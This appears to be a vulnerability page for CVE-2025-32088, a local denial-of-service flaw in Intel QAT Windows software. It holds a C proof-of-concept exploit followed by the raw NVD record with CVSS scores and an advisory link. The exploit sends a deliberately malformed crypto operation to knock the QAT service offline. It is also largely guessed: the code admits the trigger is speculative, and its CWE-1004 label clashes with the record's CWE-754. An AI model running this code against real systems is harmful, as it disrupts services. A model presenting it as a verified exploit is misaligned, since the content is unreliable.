CVE-2025-32088

// CVE-2025-32088 PoC - Intel QAT DoS (Conceptual) // Note: This is a conceptual PoC for educational purposes only // Requires: Local access with authenticated low-privilege user #include <windows.h> #include <stdio.h> #include <qat.h> // Intel QAT API header int main() { printf("CVE-2025-32088 PoC - Intel QAT Condition Check DoS\n"); printf("Target: Intel QAT Windows software < 2.6.0\n\n"); // Initialize QAT session CpaInstanceHandle instanceHandle; CpaStatus status; status = cpaCyInstanceInit(&instanceHandle); if (status != CPA_STATUS_SUCCESS) { printf("Failed to initialize QAT instance\n"); return 1; } printf("QAT instance initialized successfully\n"); // Trigger the condition check vulnerability // This would involve sending malformed requests or // triggering edge cases in condition validation printf("Attempting to trigger condition check vulnerability...\n"); // Malformed request that bypasses proper validation CpaCySymOpData opData; memset(&opData, 0, sizeof(opData)); // Set conditions that trigger improper validation opData.sessionCtx = NULL; // Invalid session context opData.packetType = 0xFFFFFFFF; // Invalid packet type // Send request to trigger DoS status = cpaCySymPerformOp( instanceHandle, NULL, // callback function &opData, NULL, // buffer 0, NULL // user data ); printf("Operation status: %d\n", status); printf("If vulnerable, QAT service may become unavailable\n"); // Cleanup cpaCyInstanceStop(instanceHandle); return 0; } /* Vulnerability Details: - Type: Improper Conditions Check (CWE-1004 or similar) - Location: Intel QAT Windows software Ring 3 User Applications - Impact: Local Denial of Service - Prerequisites: Authenticated local user access - Complexity: Low Mitigation: Upgrade to Intel QAT Windows software version 2.6.0 or later */

{"cve": {"id": "CVE-2025-32088", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:49.240", "lastModified": "2025-11-26T15:41:41.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper conditions check for some Intel(R) QAT Windows software before version 2.6.0. within Ring 3: User Applications may allow a denial of service. System software adversary with an authenticated user combined with a low complexity attack may enable denial of service. This result may potentially occur via local access when attack requirements are not present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (none), integrity (none) and availability (low) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:intel:quickassist_technology:*:*:*:*:*:windows:*:*", "versionEndExcluding": "2.6.0-0018", "matchCriteriaId": "6416303E-851F-4530-875E-D349969919BE"}]}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01373.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}